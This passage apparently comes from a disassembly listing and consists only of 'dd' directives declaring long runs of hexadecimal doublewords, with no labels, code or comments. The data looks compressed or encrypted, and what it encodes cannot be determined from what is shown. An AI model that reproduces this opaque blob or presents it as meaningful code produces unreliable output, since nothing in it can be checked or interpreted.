		dd 62116CD1h, 33C3C896h, 0BEC2E449h, 0D9C53308h, 0BFD1338Dh
		dd 0E9207F09h, 3C3337Dh, 0E1200B19h, 948331CFh,	0F22F4310h
		dd 67E91A06h, 58A3080Ah, 0C3F8B898h, 65E38353h,	20270920h
		dd 43242883h, 0F8FBB4CDh, 457DE81Fh, 8858F689h,	0D1E13664h
		dd 9202A09Fh, 8CBD549Dh, 340782Eh, 0CFB9C93Ah, 1708283Eh
		dd 0BA9F251Dh, 0C340BEB1h, 7C099207h, 1CA3C804h, 7B13889Fh
		dd 89E31893h, 0B8504105h, 84931994h, 67DBFEE0h,	1039DF1Ch
		dd 1D031640h, 8CDC247Dh, 399162EBh, 43070E45h, 0C243EDBh
		dd 835B6FC8h, 54A1A539h, 48705B0Bh, 5EDC1811h, 80D78539h
		dd 0B96580E3h, 746C1708h, 22901157h, 45E50CD4h,	0AD1578BCh
		dd 882A9F74h, 0C5857F52h, 0EC0A95F2h, 0E309D043h, 2960A4C3h
		dd 0CB2A2CA0h, 0B8827609h, 88BE1983h, 0A22F613Ah, 65257EDCh
		dd 7C1940A4h, 9D115D88h, 50A4F79h, 0BC0ACE8h, 828FD9Ch
		dd 30F8F888h, 8B1DD110h, 0A364337Ch, 0D8135578h, 881D6B43h
		dd 827412h, 0C0847B03h,	5F129485h, 2845BA40h, 5094A937h
		dd 2843B4C7h, 24B8A6B8h, 38B097CAh, 0A34A1A4h, 1BA0DF8Ch
		dd 75A128BBh, 0D07F01CFh, 446A3893h, 83F13DB0h,	8156384h
		dd 0B24830C3h, 0EE956362h, 84A51991h, 886F58B4h, 8C276308h
		dd 0B988B3FAh, 8308BD67h, 5858C2F9h, 782F4F5Ch,	851BB98Ch
		dd 0B2692BC6h, 0A1C30342h, 20580920h, 23103043h, 2D28BCE7h
		dd 6F6310B8h, 0BC032796h, 2DC70CDCh, 0E569C07Bh, 40B20A24h
		dd 2348D518h, 190090EAh, 8B9B683h, 0E0243DFEh, 62BE57E5h
		dd 0EC551B9h, 0ADB54301h, 0C4368447h, 0F3609C49h, 48EE36D8h
		dd 1960BF49h, 0AC38A5DDh, 34E3E041h, 6A06A05Fh,	414F2C89h
		dd 2BF00520h, 0E1883323h, 0C2C8E2B0h, 79EF8C2Fh, 827CADCBh
		dd 52B06B2Ah, 0B6C74522h, 8DBC0F70h, 3FD0274Ch,	0EC9CA8A5h
		dd 6CAD07ECh, 155B1002h, 0C40C463Eh, 0F7C8E338h, 2FD281D8h
		dd 0F448CAC3h, 88B051ABh, 0CC144744h, 9480662Dh, 0FC831008h
		dd 88AE26B6h, 3FFC78Bh,	20F391A8h, 2312B408h, 0E805F450h
		dd 3CD6FD0Bh, 0EEE31008h, 0F16410F0h, 4DA8612h,	0C1E56CC8h
		dd 94EE2924h, 19B19010h, 6F11D643h, 0E2C4C300h,	83B38CCh
		dd 18994DA3h, 23086E31h, 0F0D461C8h, 84981D04h,	0A04C22F1h
		dd 84434D68h, 94A28524h, 0A3F0C61Bh, 0A3101822h, 0AF43E8FAh
		dd 0E4211C94h, 3183B150h, 25598863h, 0A02301A6h, 0E8F9A021h
		dd 0C02F8204h, 0D2FF8441h, 94059805h, 9C4B4AC3h, 85C80F7Bh
		dd 30C308E9h, 0E3D81259h, 35087CF6h, 0FA77C71Fh, 0EC0526A0h
		dd 7CCD9280h, 0FA081208h, 3EBFE836h, 0ED881B2Ah, 0F502A45Fh
		dd 0C0E3D9D8h, 0DEEB4503h, 94CC5770h, 0A2E83CC1h, 0A5398508h
		dd 940E995Dh, 0B8507665h, 7C032884h, 0B2C1CB47h, 9EBB1D7Dh
		dd 7C268551h, 0E3088898h, 8380AFFAh, 21FE27B9h,	23E54110h
		dd 4345C322h, 0BA04841Bh, 45B6A646h, 0A005D3C5h, 0FC4ABBE3h
		dd 5AF888FAh, 60322282h, 797F2533h, 77087661h, 301D814Dh
		dd 0E37239Ch, 0BE0960AAh, 0FA11047Ch, 4CC0BC02h, 0CD2E5180h
		dd 0D1584A99h, 3603011Ah, 9410CC74h, 683F1B0Ch,	230222A2h
		dd 8A4BEFFh, 0EF39B5FFh, 574422BEh, 60C0A0CEh, 0BFB7E912h
		dd 0D40C4580h, 83A8B8A1h, 737B6618h, 0C96DA571h, 183ECE39h
		dd 0A6814E08h, 6CC54566h, 4611826Ch, 0E513A449h, 33C4B09h
		dd 1EC05CC7h, 4053498Eh, 9928C5A5h, 4F6290CDh, 26DE308h
		dd 1853BD83h, 0EA27C4C0h, 25A840FDh, 2C4CD959h,	0A96006Ch
		dd 0E1C8204Bh, 0B0240760h, 89864F8h, 350810Ah, 6CB82489h
		dd 0B2C308CFh, 0E4430402h, 485C50A0h, 4025C4DEh, 8416406h
		dd 9BB7F5F1h, 0E108D630h, 2897FEFFh, 83A40247h,	4C70F41Fh
		dd 32C8144Ch, 9340952h,	0C21C6C07h, 0BC835BC3h,	0F043B943h
		dd 3C8B0A4h, 0EF1D2FF7h, 96E5D483h, 0AFA982Eh, 8C56D0Ch
		dd 0B5D63CADh, 5BF2D00h, 47A90DA5h, 3C2BCF00h, 6B8FA262h
		dd 6EB80040h, 0C9A03A43h, 0F7012D29h, 0A50641CFh, 1C5BFE4Dh
		dd 33BC9302h, 0EF072823h, 0A00D1DB8h, 30804D46h, 2A0309A1h
		dd 31880F81h, 0E178AA8Dh
		dd 0EE053136h, 88DD2FA1h, 3AC5CDD8h, 8A811C53h,	11A7B4ABh
		dd 685BC54Fh, 1D183A3Eh, 716F31E0h, 0CA4D68C5h,	900F686Ch
		dd 39DF6F8Ah, 0AD0AA888h, 19D86CF3h, 40CEEAFDh,	1863AFFCh
		dd 0A09CBD39h, 0CC09C40Dh, 4D08CE40h, 40AD4B40h, 361EED05h
		dd 0F415A4F0h, 0E89BF384h, 80FB3758h, 95FFA7CFh, 0F088C168h
		dd 62A12678h, 8DEF3910h, 887CC225h, 0C94618ABh,	0CF0F397Bh
		dd 0C5D34D80h, 7CC10D08h, 518D88Ch, 2F4165EFh, 2B6890F9h
		dd 6074BF8Dh, 0DB757F19h, 0AD4FA8A8h, 7A389966h, 9AED2008h
		dd 0FE604D20h, 630D809Dh, 0ED315C90h, 9ACD089Bh, 4744AD01h
		dd 48E385B4h, 6D0CF8BCh, 500D0842h, 548DC056h, 0C8BDC4B2h
		dd 7791AC09h, 28566A22h, 1369C160h, 6F119D32h, 0DF88A24h
		dd 90F8B82Ch, 2F5B22ACh, 38CE58F8h, 0F0B4F5EDh,	44EB42C9h
		dd 9B37AFE1h, 0A7197080h, 1848EF20h, 0D14D08C6h, 0F0415092h
		dd 686CEDE3h, 0DA7E0870h, 0CF0CF269h, 49CD609Eh, 7FF13CFBh
		dd 0F274F4ECh, 39956789h, 0F4378854h, 99C58608h, 0A2E18741h
		dd 5FFC8D01h, 0FE220498h, 0F46C450h, 0E2ED6001h, 0EC0898BEh
		dd 94B5E531h, 0C3A8E82Fh, 0EE62F97Fh, 82144F31h, 0BE2EEDD5h
		dd 0BCC0C80h, 6F39956Ch, 0F3B51320h, 0F76D4C20h, 1154D01h
		dd 8D01440Dh, 9EAD0168h, 84BE2712h, 23DDC0Ah, 19BEB465h
		dd 7068A6E0h, 7EE98C21h, 8983A024h, 259D125Fh, 27987C27h
		dd 48337308h, 0F5AF0A2Dh, 736DD87Ch, 0D49F9329h, 0E05E8C83h
		dd 0EF4118DFh, 0AD2C88A7h, 0C0F9A0CAh, 0AB2830FAh, 85C807BFh
		dd 34DD3678h, 8F4C9113h, 0E450898Dh, 38300395h,	96081881h
		dd 0EB18F0B8h, 62DAB1Bh, 0B603E208h, 3EB8C27Ch,	349179E0h
		dd 2322E2EFh, 34D4C0AEh, 315C90B1h, 8D8A325h, 2F188DA2h
		dd 0DBDD70CCh, 78C24DD0h, 63F0F8DAh, 0D4D510CDh, 3204ADE1h
		dd 60BFA0C4h, 2078A684h, 20A3770Fh, 2FADF008h, 908718AEh
		dd 8DF306Dh, 1BB45A14h,	0C2A024EDh, 60D0397h, 9F0A0918h
		dd 0CEAC120h, 0E7D28DABh, 0E6642C98h, 0D037D08h, 0D018E92Ah
		dd 5228D279h, 67CDF8E5h, 48EEE9B6h, 8D088718h, 10CE65B7h
		dd 2D8006DEh, 54F8F8F6h, 78444382h, 0F3281F08h,	7D0392A4h
		dd 0EC8012Ch, 412F1CF6h, 52CBC93Fh, 848298FCh, 100D8CCDh
		dd 925304D2h, 84A42138h, 69191F61h, 84526E09h, 0E94D03F0h
		dd 0F720087Ch, 8FC444E7h, 242D88A0h, 0C4174D80h, 482ADF0h
		dd 0CD06FB8Dh, 805009A1h, 59404DFCh, 6D5B400Dh,	2D08B862h
		dd 0A8804F15h, 8B082300h, 0F01B4F8Ch, 0F8DB54EDh, 9DE1CC22h
		dd 3A418DD0h, 0C888B021h, 0D590100Dh, 109A2D10h, 8D142B4Dh
		dd 0D19E85Ah, 132DC9D6h, 54C0784Dh, 9115D85Eh, 0F78E589Ch
		dd 546F198Eh, 0A1CEA8ACh, 1412F4B1h, 0C011802Bh, 848FC28Ah
		dd 27A486C5h, 0ED8D2850h, 91C7FCB0h, 0E25E5824h, 0AFEA4084h
		dd 761CF648h, 0C7E84D54h, 0D062CCA5h, 0CF24989Ch, 303898AFh
		dd 8D088CADh, 10CABB3Ch, 143EC47Fh, 31A4D189h, 0CE0D08D3h
		dd 14E1B453h, 0B4C0AD08h, 4AC5ED12h, 56B8C994h,	44F69E29h
		dd 97CEEF89h, 888A102Ch, 0E0489FEAh, 1494FB48h,	0ACA8C80Dh
		dd 12F747CEh, 0CC4A902Fh, 5656A411h, 4F144458h,	5276985Ah
		dd 76B18012h, 486F1CF3h, 0ED125C15h, 12C04A38h,	0AEB5688h
		dd 46ED8F12h, 48E549A0h, 29107249h, 7E598CCEh, 3E54C52h
		dd 4811A1AFh, 6B26AE6Dh, 94D7BB9Ch, 747D83C1h, 0CF498C2Fh
		dd 8063918Eh, 8C5996Dh,	987CE0CDh, 23580909h, 142EE694h
		dd 5FDF81D9h, 4B880590h, 6831A74Eh, 845FE60Fh, 971B7062h
		dd 0E12F1C98h, 70B178ADh, 4F1CA43Eh, 7B4170A5h,	1C487880h
		dd 3CB55C6Fh, 4BF6D12h,	0D290EDC8h, 0A4A443FCh,	0B08D0E1Ch
		dd 4A9D0D16h, 568CF85Ch, 0A8A5FE23h, 0D70C31Ch,	8189428h
		dd 0B668E8B3h, 0EA08C4EBh, 0F90082DDh, 834368BEh, 0AF24E420h
		dd 3597B05Fh, 26684448h, 18A319B4h, 0EDE0893Dh,	76F8410Eh
		dd 4827D197h, 8D0A8C40h, 21FBE012h, 81B116E0h, 0AD013CCFh
		dd 0FFD42556h, 405150EEh, 5F0FF9A8h, 33D8629Ch,	0EF2C9895h
		dd 0CED9C90Bh, 6B0D4482h, 102A869h, 7190C22Dh, 0ED0D084Dh
		dd 0E0011BD1h, 65DA0AA1h, 0AD089C78h, 166D2B60h, 8EE8ECB4h
		dd 550F0A85h, 25ED0CE0h, 0B0A0FA81h, 0ACA9504Dh, 0ED08895Bh
		dd 0A1E0A470h, 9F108D04h, 43804070h, 522F0C85h,	0F9644D70h
		dd 0AD04CB09h, 268D0504h, 814BFC91h, 0C82D088Ch, 9C6DAE0h
		dd 6530B071h, 0D39209AEh, 6D45C84h, 6210B68Dh, 57ED0849h
		dd 885F88E9h, 86B6D08h,	0D046ACDh, 508A29Ch, 9E66793Eh
		dd 20082528h, 0ED54588Dh, 8A624DCCh, 2D16D08h, 8D01890Dh
		dd 9A02E7C8h, 0CBC0B0Bh, 0C9E93840h, 0C4252208h, 0AD44D236h
		dd 343E6869h, 0F4A01B70h, 8DFA2EDh, 2D103FD0h, 968D114Ah
		dd 0D193020h, 6420D87Bh, 0DB2C02D2h, 8493F104h,	0DD1120C4h
		dd 24966D20h, 9120744Dh, 0DCE32E97h, 3092999h, 8C49006h
		dd 0ED04B08Dh, 5A921F3Ah, 20F0EC83h, 7CFC8809h,	91FD8D80h
		dd 0A0E59B8h, 1D5E4F12h, 0F4289400h, 48B7487Ah,	0E4D8CD14h
		dd 0D4E65474h, 4AF0BA81h, 0A4D80607h, 0A86288CEh, 0A4534D08h
		dd 2D0427A4h, 0FC6D04C0h, 0E690C848h, 29E24D19h, 0FEAD03B7h
		dd 39926441h, 0CA0D0598h, 0CB17A01Fh, 11CE684Ch, 3C6D80E5h
		dd 0AC41BD89h, 1032FECDh, 6F5068B7h, 5D8C925Ch,	69265418h
		dd 52CD04E8h, 264209BAh, 31099670h, 85B8E464h, 50EF02E6h
		dd 81CB7478h, 10C199F9h, 4243E09h, 581899FDh, 268EA956h
		dd 8CFC1C8Fh, 0B1908D68h, 0F261D892h, 0AD576DA8h, 0A83CC025h
		dd 98DD2A18h, 0BD81E70Fh, 426D088Ch, 2140CDB0h,	8584BEDh
		dd 0D09EBB8h, 903095C2h, 0C17C833h, 2A8920AFh, 0F3AD08C4h
		dd 1625DC93h, 2B1B2D60h, 0D31E3FCCh, 0E2CF182Ch, 945C4DF8h
		dd 0CFCB13A4h, 0D4B18014h, 80FD69F3h, 1093E06Fh, 74E892E0h
		dd 1531DF87h, 0AEB75C13h, 0B4736665h, 50A714D4h, 70F17467h
		dd 0EF01CD99h, 0C11027EAh, 0B3C7D244h, 0E50F318Ah, 0C9F6D868h
		dd 0CC403BEAh, 50E4532Fh, 33A856B0h, 27BF5A20h,	0AC9F18CFh
		dd 0D0754F0Ch, 6909C050h, 0BB0B57A9h, 9D1D78F6h, 6D00DA1Dh
		dd 5D93A7C2h, 8A28C25Ah, 4C0A863h, 363FF11Ch, 0D252804Eh
		dd 70C443D8h, 2BBA0737h, 70476F16h, 3A4CEBCh, 4D6BDF00h
		dd 0FCEA80B7h, 3126070Dh, 0F0C9778Dh, 0B5D3D66Dh, 15E1B901h
		dd 0A6CF204Ah, 4BF4A040h, 0E01900C9h, 2AAFDB49h, 0B11EE113h
		dd 7280481Dh, 70F9E5B5h, 5AE49Fh, 0D1857129h, 9B348E96h
		dd 941E6B07h, 0CA57D369h, 0D81BAF43h, 342D9B9h,	1D4FF2Bh
		dd 46C303EEh, 8E8100A7h, 4E01E8FDh, 20496450h, 29D47CDCh
		dd 0EAFF4D0h, 5AD512EBh, 0B9767220h, 3300918Fh,	5D612D86h
		dd 1E118877h, 0B9092FE4h, 0A07A8C01h, 0C883A90Ah, 0E0070B90h
		dd 2DE5851Ch, 337C41D1h, 0E25F0D30h, 0E88A0037h, 10A15A9Ah
		dd 6404D7F8h, 85B425E1h, 2BD7880h, 58B0004Bh, 0CEBFC83Dh
		dd 89014956h, 0A13606A8h, 29DCEC38h, 0AC2C004Ch, 0FFC14072h
		dd 7400F4B0h, 0CAFEF08Eh, 6A952h, 82F3C0D2h, 83363FEAh
		dd 0E8625E00h, 7385F830h, 81804E6h, 90A929B5h, 772FD00Ch
		dd 105E48h, 0D5900FFBh,	0BC860Bh, 0BA486BA0h, 0B2D99AB8h
		dd 0CE05AA00h, 0EACB7972h, 54D21E8Fh, 5802408Eh, 17E1B757h
		dd 2F75A074h, 323BCC00h
		dd 8F665501h, 54A3002Ch, 5EC0FA94h, 0D50082BDh,	0B1CAC461h
		dd 0F6D998h, 311A6EDEh,	31891A8h, 0D3320407h, 0AC4007C7h
		dd 0EB3A6Fh, 2B5B2DCFh,	0DE6E0885h, 0DD0EAD0Fh,	0A7894EFAh
		dd 0B2802ED9h, 69C7D7h,	0F566F14h, 371ACA54h, 83CE5500h
		dd 0A9996A8Fh, 81EF0094h, 221128D0h, 0D300D531h, 0F7EA472Bh
		dd 89C642h, 97569EAFh, 0C1E537B7h, 1C921B00h, 0E70DA1D3h
		dd 81ED0021h, 2B2AE27Bh, 2C0241DBh, 0C801D589h,	0D9ACA3CBh
		dd 5CC807FEh, 0D00ADAEFh, 8A61406Eh, 1C0020ECh,	71227241h
		dd 7D77C067h, 56D801E5h, 29947BC7h, 43B050D1h, 890001EBh
		dd 0AA767073h, 48531184h, 0CF0F88A1h, 820FDC9Ah, 76B24600h
		dd 5B00A6F6h, 5C9099BFh, 0FCF930D4h, 639800E7h,	0D9C6E9C5h
		dd 0B400A661h, 0B858108Fh, 0CED49Eh, 0C0660F16h, 12F7ED54h
		dd 0C65D2701h, 6C2EBCC4h, 3DC2BEDCh, 4B81051Fh,	0ACF60FC1h
		dd 16B6E436h, 1701C07Fh, 0ABE8DC7Fh, 0D5F46201h, 0C3E01F1h
		dd 169953B1h, 0E031E4BEh, 9F001090h, 5F7E28C7h,	1C405DBh
		dd 230BF52Ch, 0C551FF99h, 47E6F855h, 0C4804650h, 0B1950718h
		dd 590FF0h, 3FFE4564h, 0AF5CEF78h, 0C20EE100h, 9F30A8Bh
		dd 0FA1D0084h, 0D5A99B6Dh, 0E60E6E38h, 80181611h, 9112B9DAh
		dd 2B3E003Ch, 0B0CF5B8Fh, 0FB75CB73h, 6230BC00h, 55072601h
		dd 3AAF0050h, 0A02A1834h, 0DD1385F7h, 0FB0BC4h,	51EC44F0h
		dd 2E00B9E7h, 0F4925DE5h, 38F5CD6h, 0AA65DBF3h,	0BCA06149h
		dd 7C00E654h, 0F7C516B0h, 0A0080E44h, 15FCDB4h,	551917A1h
		dd 303D85BEh, 1B0B90E4h, 0A0D8489Fh, 1620473Eh,	7B300A1h
		dd 7A6D5B4Ch, 727A9F5Ah, 0D11D950Ah, 0F600B074h, 0BC915FE4h
		dd 9B220005h, 68333EC2h, 0BE4277Bh, 0A076C10Fh,	0E150E04Dh
		dd 9D4EEE4h, 35CC44B8h,	50EC3487h, 55945A5h, 28764B02h
		dd 60BCDE90h, 7B5093C8h, 0FC4600D6h, 1A27EE61h,	320087AEh
		dd 882BDF7Bh, 7234E2Fh,	423BD96Bh, 3E561048h, 8F003F38h
		dd 469B6CD6h, 347F20h, 45A097CAh, 83EF5BE5h, 6A27A306h
		dd 0EA64F30h, 0B30F7310h, 7D1FE5h, 0A198D1F8h, 6D00690Eh
		dd 0B4A8ED4Dh, 0D8EEF5h, 0D049F432h, 5674BEC9h,	4ACE521Fh
		dd 0AF31E207h, 72718671h, 0AE5E80C3h, 0ECE400F3h, 0D16C407Bh
		dd 0E901939Ah, 0DE969B52h, 6030CF5Eh, 0B04602E6h, 0D2AFB3C8h
		dd 0C59F08C0h, 0CA60990Eh, 35005D3Fh, 78EC0C3Dh, 0F610F59h
		dd 63A07ECDh, 0BDB914F4h, 49AB8500h, 953E71D9h,	90CB00F0h
		dd 8260113Bh, 5A00F79Ah, 0B73C0F19h, 0DFD4BFh, 0CF80EA44h
		dd 0CDEEE87Dh, 0A00A7300h, 3C5941ECh, 785D0130h, 0AEA1C68Fh
		dd 82C8DC14h, 9163DE00h, 95C125FCh, 0A55B00E3h,	0F1D6F64Ah
		dd 56000803h, 4EDDDABDh, 0A47CDCCh, 0C2C7B685h,	4B581DECh
		dd 0EC001EDCh, 0A1F63850h, 0C5C5301h, 95E2C5D2h, 142FFCCh
		dd 0F99B89E0h, 0C851126Eh, 8B0ECA41h, 7468DCB0h, 5D2300CCh
		dd 37808EA9h, 1C2F0043h, 68CF7866h, 0C800E244h,	0A2DE028h
		dd 1814722Ah, 109B4733h, 0E01ED12h, 711C0960h, 0CEE0EA45h
		dd 6B4A58E0h, 87724h, 0D10A218Eh, 0A700C4F1h, 0FA1B10E8h
		dd 3AE4CA5h, 0E99F65B5h, 49A0E01Fh, 0C00739E7h,	1AC6EB21h
		dd 0C8134CB3h, 137C292h, 0A0A26E1Ch, 21B3488Eh,	0EC0DD4FCh
		dd 80F74F3Ch, 0F098305Fh, 15283CDh, 0FBC6B078h,	0F8B74604h
		dd 911D1705h, 3700447Bh, 858850C1h, 0E7905C3h, 0D1358DECh
		dd 0E8951BACh, 4601F3EFh, 29D738F2h, 1ED4ADC9h,	0B63000E5h
		dd 0DB1625EAh, 0F01410DDh, 7BA04089h, 0AE8138h,	37E0E6C1h
		dd 2AD9BDh, 0B2697698h,	0D6AFB63Ah, 0FB001EECh,	3F678D77h
		dd 3CC7DF51h, 2980AC20h, 85180D80h, 0BE007A61h,	62DABFE4h
		dd 2C8C45h, 91FFA4FDh, 199389B3h, 531FAB7Ch, 4CEC81EBh
		dd 0E1DFB100h, 0C0F0A1BAh, 61F62780h, 2E000ADBh, 0D4969111h
		dd 64443Ah, 37B4F27Eh, 48FB4DB2h, 0E3E53B02h
		dd 0EFE6B040h, 26B681DCh, 30E7F311h, 8077CF18h,	0B4D31E01h
		dd 6ED01D16h, 1A8B2FE9h, 9820A01Fh, 2A436B26h, 0ECB0700Eh
		dd 7D1769FDh, 0E4C9A083h, 9EEED3C1h, 2000C111h,	0F02AD7B3h
		dd 448B002Fh, 5FD3781h,	0B6012C40h, 5562B78Fh, 747289D6h
		dd 0E4B1F403h, 44A1A8DEh, 0F3EE80D7h, 5F92A181h, 0D3F018C8h
		dd 528CE208h, 0E1804C00h, 8B449D12h, 3E8104F4h,	0A0618311h
		dd 590062A8h, 0E8DEEBB0h, 7F06791h, 853DB608h, 9D2601Fh
		dd 15002556h, 78F48C3Fh, 188C37Eh, 28E05E54h, 80AA7D60h
		dd 0B6E84A99h, 7C010A5Ah, 0D4765452h, 5DB00ECDh, 0D6E68Eh
		dd 0AE0E3B0Fh, 381CEAC4h, 84FD163h, 980077C0h, 9AD992E2h
		dd 0ED6B14CFh, 4B0E94F0h, 4D013C7Ah, 0F00F4469h, 0D57C0EF9h
		dd 261EFF0Fh, 92772095h, 56FC9Ch, 0A8B42ABCh, 67C4E806h
		dd 149D4Dh, 0C236F227h,	0E52D5D9h, 0E399DC2Dh, 6249B3A3h
		dd 0ED091096h, 807C7DA1h, 3CC8C976h, 1DA7BBEh, 73618DB9h
		dd 0A09267B5h, 330A8E51h, 0A1E5A0E1h, 0F73C9D00h, 56FCBh
		dd 0A984D194h, 344DD007h, 74D68313h, 628901AEh,	2C572572h
		dd 65CF0064h, 5EAE390Dh, 0E84B94h, 0A015B70h, 260B38D8h
		dd 80FAC054h, 0E699587Eh, 0B8A8557Dh, 0DA0CE4h,	1F627EC7h
		dd 0B73B25F7h, 897C070Ch, 0E30615Bh, 0DC9D704h,	0B92A06C0h
		dd 4D05BC6Ah, 1492D619h, 0A9C8D890h, 415C0051h,	97793536h
		dd 36981ED5h, 7D3E5872h, 75B00080h, 9DCC087Ch, 0F80D07F9h
		dd 8F09BA9Eh, 0ECE5099Bh, 0AC350044h, 4F1ADB30h, 14D8002Ch
		dd 81CF750Ch, 28D9418Dh, 0C0605930h, 97380104h,	0D3846A91h
		dd 1860852Eh, 0F980DD34h, 0CED4328Dh, 3E807631h, 5BDA6CE7h
		dd 1A4DB906h, 401F28h, 9AE9A523h, 211B5CAEh, 18FA1831h
		dd 7081A36Eh, 76AB083Ch, 9AA980B9h, 20FF0F14h, 0A2F81E84h
		dd 7308F31Bh, 0EB79E105h, 0DC805F0Fh, 37351738h, 2089D630h
		dd 6EA0A670h, 8AEB6A03h, 0C9B59BF1h, 80BFA1FDh,	2E1C1500h
		dd 9C8D82EFh, 94665106h, 641DB6Dh, 5F041ACCh, 340120F9h
		dd 6C816E41h, 0E374DBh,	1E538FA1h, 7E3E2D36h, 5B541DEEh
		dd 4118D09Ch, 9E509516h, 0BCEE281Ch, 0CCAF38ACh, 0BAC1C3B1h
		dd 2F63CC29h, 0C280D103h, 30988A8Fh, 0CA215D08h, 140C6475h
		dd 99A16558h, 0B0E2031Ch, 0B66F0ABCh, 0CE2060C6h, 0CD00FC2h
		dd 0A960BE7Bh, 739FBD54h, 0C9663612h, 0AE901400h, 0A2E5B4h
		dd 0B32E92AFh, 0E101DD08h, 6152A30Fh, 8A4AC0BDh, 32AC3834h
		dd 0C011C194h, 0CE1804BCh, 52107C16h, 1B690062h, 33BB5815h
		dd 380089C2h, 0BF56EDE4h, 0F21F3BCEh, 12521BDFh, 27E42967h
		dd 455EAD2h, 0B4DD20D7h, 583801Ch, 0C89C5C88h, 1C43D351h
		dd 672922A0h, 43010300h, 0EC17975Dh, 75F500BFh,	51551F0Ch
		dd 0B70084A3h, 2CDCC2B9h, 0B86FE649h, 0D9892612h, 369303F7h
		dd 9CE98531h, 0A9FDDC92h, 56C17700h, 0E9EA421h,	6CD30024h
		dd 39057B6Dh, 4F00BD57h, 0E27DF83Ch, 0E556B5h, 0B450AEC7h
		dd 903D518Ah, 10EDBE00h, 5C58301Ch, 61A1036Fh, 5A9DF33Eh
		dd 79F71000h, 64C68902h, 7382000Dh, 7E90548Eh, 6001B72Dh
		dd 3242EDAAh, 0BC519F2Fh, 35CC87C5h, 0AD7080h, 39310E77h
		dd 981978C6h, 93CAEE00h, 0CB041D72h, 185B70B7h,	28763261h
		dd 0AA0037C6h, 0A936C530h, 8B447h, 0B1DD7E2Dh, 209EAC4Ah
		dd 2B9DE700h, 6D7357A3h, 0C4FD15EFh, 1303FC81h,	89320A2Ah
		dd 0D16CD2C0h, 2C110F00h, 0BEB91729h, 0FBD700E5h, 84C0A9D6h
		dd 3500A2A3h, 0E3E88E77h, 26F1982Fh, 17DD2C8h, 0B076FECFh
		dd 0A9989E72h, 0A0F85F81h, 2BE0079Eh, 7FD795Ah,	0E29894E8h
		dd 3C202906h, 0D688715Ch, 0D304A570h, 75A36317h, 0F37EB083h
		dd 0DF100B18h, 0F081D06Dh, 0C5FE0882h, 95C1808Bh, 796B9ED2h
		dd 80C50027h, 0AEDE0F71h, 4D007514h, 134CD04h, 24D549h
		dd 12DA1799h, 0EC1D0D97h, 0BD2DA200h, 0C42815F9h, 211A00FAh
		dd 4DEB5C50h, 0B500656Fh, 0CED863CDh, 385AAD98h, 181F69B4h
		dd 8C0B40B9h, 17D30F0h,	633C6D26h, 573E0600h, 3962CFh
		dd 88707E2Bh, 0C0B1F16Eh, 0AC2A7F18h, 0FC011D10h, 2013038Dh
		dd 76CD9875h, 3DD51803h, 0E0690E0Dh, 48080190h,	4400483Fh
		dd 919F0CB9h, 7578A812h, 0C350BFECh, 0A601C68Ch, 0B904F526h
		dd 6FFC1E4Fh, 6D2000F8h, 48BA06B4h, 92765E9Fh, 28525A00h
		dd 33D5FEA8h, 1E129078h, 0C06E8BF5h, 6904EDCFh,	6700E9E5h
		dd 8DF2C847h, 0F5D4AAh,	0FFFF42Eh, 7FB0ECDFh, 0BCA00C73h
		dd 0A90023CCh, 696279Ah, 0FBB5347h, 9B367E6h, 0BD3DFAEFh
		dd 11001D3Ch, 0F449F657h, 0AB4816B7h, 9AC001Bh,	5FC3F7B6h
		dd 0D00B0019h, 936113DBh, 0E450FC6Eh, 44011CB6h, 31680D09h
		dd 8FE8E2A4h, 136B002Ch, 1AFD6C1Bh, 0A60066D3h,	2393CD28h
		dd 31408A4h, 0B113EC83h, 769161B3h, 0C09440BDh,	5E3DC6EFh
		dd 15DA808Ch, 5A7DAC82h, 0FB432483h, 0C5040050h, 0FC1B6EF6h
		dd 2F9610CEh, 0CCAE8055h, 0A1D22CF9h, 9421F890h, 0B310D0h
		dd 680B4B1Eh, 0C252903Ah, 0D358B800h, 8A0A867Ah, 0DCC4283Fh
		dd 0D53E00ECh, 0C375E82Dh, 8D00BF1Dh, 0A9865589h, 0F6A59AEEh
		dd 8AF4028Eh, 0FF60238Bh, 89E3D090h, 0F63E2898h, 80A8255h
		dd 60567CEDh, 0C0BB4Dh,	7B1F498h, 0C6BCC968h, 46A9CB00h
		dd 21A2E8D9h, 0C1C0E744h, 0F8062617h, 0D86836Ch, 0A3D0A996h
		dd 73048174h, 379A56BFh, 7EF0C1C7h, 0EBD6F8h, 2BA7318Eh
		dd 946E8A76h, 0D4007478h, 3524663Fh, 27D0D17h, 461CBD02h
		dd 42405F52h, 0D7F26C77h, 0D51621FEh, 7202DF25h, 40AEE41Fh
		dd 7EBB418h, 7E0FF241h,	0C37AF05Dh, 0DA007FBEh,	2ED26011h
		dd 155CB6Fh, 0CEEF59DCh, 9DCFFC30h, 0A480777Eh,	3B0FBDF1h
		dd 43210288h, 5F6BFD48h, 0B8E41840h, 82B3B221h,	0D3E62624h
		dd 0FFA10C60h, 2F005F7Eh, 0DF233E88h, 12EAA61h,	6B9ACC59h
		dd 0C8FB7282h, 994CA0B1h, 0F05201C6h, 30E0336Eh, 0A97AE040h
		dd 2F6600E6h, 0AF03ECFCh, 2400614Ch, 0F2AAEEA4h, 1F09D055h
		dd 80E25FDFh, 0D8706EA8h, 3300D77Bh, 0E1568B6Bh, 2793B47h
		dd 876ADA7Dh, 75743Eh, 55316CF3h, 17120021h, 4AF758E4h
		dd 0B109103Fh, 0F2C62BEh, 80F5A010h, 52E38Ah, 8E03A993h
		dd 2E734BFDh, 5EE7A400h, 0A318C63Ah, 1C2A1407h,	7C00B8D9h
		dd 0D6CAB9B2h, 0F7009526h, 17F68B42h, 79D918A2h, 23781EAAh
		dd 678000CDh, 0CE85F9A6h, 0FE5C4600h, 45B91CA9h, 18F3000Eh
		dd 0CC809BAAh, 40826503h, 58B48A7Ch, 0AF041F1Eh, 822B96CAh
		dd 5840676Dh, 4D07F0C8h, 6312D369h, 457422B0h, 2187EFD8h
		dd 0B0C579DFh, 2CE357A4h, 90EC410Bh, 823802FFh,	6670E1BAh
		dd 0EEDDC1C9h, 383E37F4h, 0B0773A6Ch, 81B0218h,	0E64F5BCBh
		dd 7DAD2A60h, 4B1448h, 6F7CAB59h, 0D64A80h, 0A7CE9124h
		dd 0D1714D8Ah, 9B2CFC00h, 318D492Eh, 3B8B0193h,	0F94EA305h
		dd 6608708Ah, 2C1C1626h, 3CA15F40h, 2E98CF2Ah, 26A5A8A0h
		dd 2000C5A7h, 0A36213EBh, 79A845Dh, 2F82F5E5h, 8C400FBDh
		dd 0B37EF603h, 48EE5C00h, 0D3BFC15Eh, 8F132689h, 1CF00054h
